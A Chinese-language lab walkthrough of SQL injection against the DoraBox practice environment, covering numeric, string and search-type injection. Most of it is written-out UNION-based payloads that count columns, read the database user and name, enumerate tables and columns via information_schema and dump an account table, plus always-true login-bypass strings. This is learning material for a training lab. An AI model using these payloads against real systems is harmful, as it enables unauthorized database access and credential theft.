DoraBox-sql注入

  1. SQLi 数字型
    查看有多少列:order by 4之后报错。在这里插入图片描述sql:SELECT * FROM news WHERE id = 1 union select 1,user(),database() limit 1,5 爆出库名-DoraBox-sql注入_第1张图片在这里我们确定了数据库为pentest,登录用户为root,接着我们去爆表名。
    sql:SELECT * FROM news WHERE id = 1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='pentest' limit 1,2
    还有另外一种方式,将pentest改为database()
    sql:SELECT * FROM news WHERE id = 1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() limit 1,2
    DoraBox-sql注入_第2张图片可以看到有两个表:account,news。接下来去爆account的列名。
    sql:SELECT * FROM news WHERE id = 1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='account' limit 1,2DoraBox-sql注入_第3张图片下面根据得到的列名去拿相关的数据就可以了
    sql:SELECT * FROM news WHERE id = 1 union select * from account limit 1,2在这里插入图片描述我们也可以直接一次性爆三列的内容出来。
    sql:SELECT * FROM news WHERE id = 1 union select 1,2,concat_ws('|',id,rest,own) from account limit 1,2在这里插入图片描述
  2. SQLi 字符型
    字符型与数字型的区别在于是否有单引号、双引号、括号等字符包裹,其余方法与数值型注入相同。可以使用万能语句:DoraBox‘ or '1'='1 或者DoraBox' and '1'='1'在这里插入图片描述sql:SELECT * FROM news WHERE title=’-DoraBox’ union select 1,2,'3’DoraBox-sql注入_第4张图片其它注入方式比数值型多个单引号就可以,或者在后边加上#、–+、%23等注释符号就可以。
  3. SQLi 搜索型
    sql:SELECT * FROM news WHERE content like '%DoraBox%' union select 1,2,3 limit 1,2 #%'DoraBox-sql注入_第5张图片sql:DoraBox%' union select 1,2,concat_ws('|',id,title,content) from news limit 2,2#DoraBox-sql注入_第6张图片这几个中如方式的区别只是过滤掉特殊符号而已,而sql注入最主要的也就是过滤特殊符号。

你可能感兴趣的:(SQL注入学习)